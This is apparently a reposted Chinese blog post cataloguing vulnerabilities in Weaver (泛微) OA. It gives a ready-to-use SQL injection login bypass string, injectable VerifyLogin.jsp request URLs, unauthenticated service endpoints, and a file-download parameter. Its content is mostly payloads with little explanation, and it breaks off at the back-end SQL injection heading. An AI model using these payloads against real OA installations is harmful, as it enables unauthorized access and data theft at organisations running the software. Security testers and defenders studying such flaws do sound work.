软件漏洞-泛微OA-汇总

最新推荐文章于 2024-10-01 15:20:30 发布

weixin_30855099

最新推荐文章于 2024-10-01 15:20:30 发布

阅读量3.3k

点赞数

文章标签：数据库 php 运维

原文链接：http://www.cnblogs.com/AtesetEnginner/p/11558469.html

版权

本文详细分析了泛微OA系统的多个安全漏洞，包括前台和后台的SQL注入问题，未授权访问页面，任意文件下载，数据库操作，系统越权修改用户信息以及敏感文件泄露和路径遍历等风险。通过对链接的篡改和抓包，揭示了系统潜在的安全隐患。

摘要由CSDN通过智能技术生成

SQL注入

前台SQL注入

用户名：admin' or password like 'c4ca4238a0b923820dcc509a6f75849b' and 'a'='a

密码: 1

验证页面参数 - loginid

（1）/login/VerifyLogin.jsp?loginfile=%2Fwui%2Ftheme%2Fecology7%2Fpage%2Flogin.jsp%3FtemplateId%3D41%26logintype%3D1%26gopage%3D&logintype=1&fontName=%CE%A2%C8%ED%D1%C5%BA%DA&message=&gopage=&formmethod=get&rnd=&serial=&username=&isie=false&loginid=test&userpassword=11111111111&tokenAuthKey=&islanguid=7&submit=

（2）/login/VerifyLogin.jsp?loginfile=%2Flogin%2Flogin.jsp%2F%3FtemplateId%3D11%26logintype%3D1%26gopage%3D&logintype=1&fontName=%CE%A2%C8%ED%D1%C5%BA%DA&message=&gopage=&formmethod=post&rnd=&serial=&username=&isie=false&loginid=test&userpassword=1111111111111&tokenAuthKey=&islanguid=7&submit=

未授权访问页面

//services/ 存在注入

/ws/ 存在注入

（3）

/weaver/weaver.file.SignatureDownLoad?markId=1 --参数markld

后台SQL注入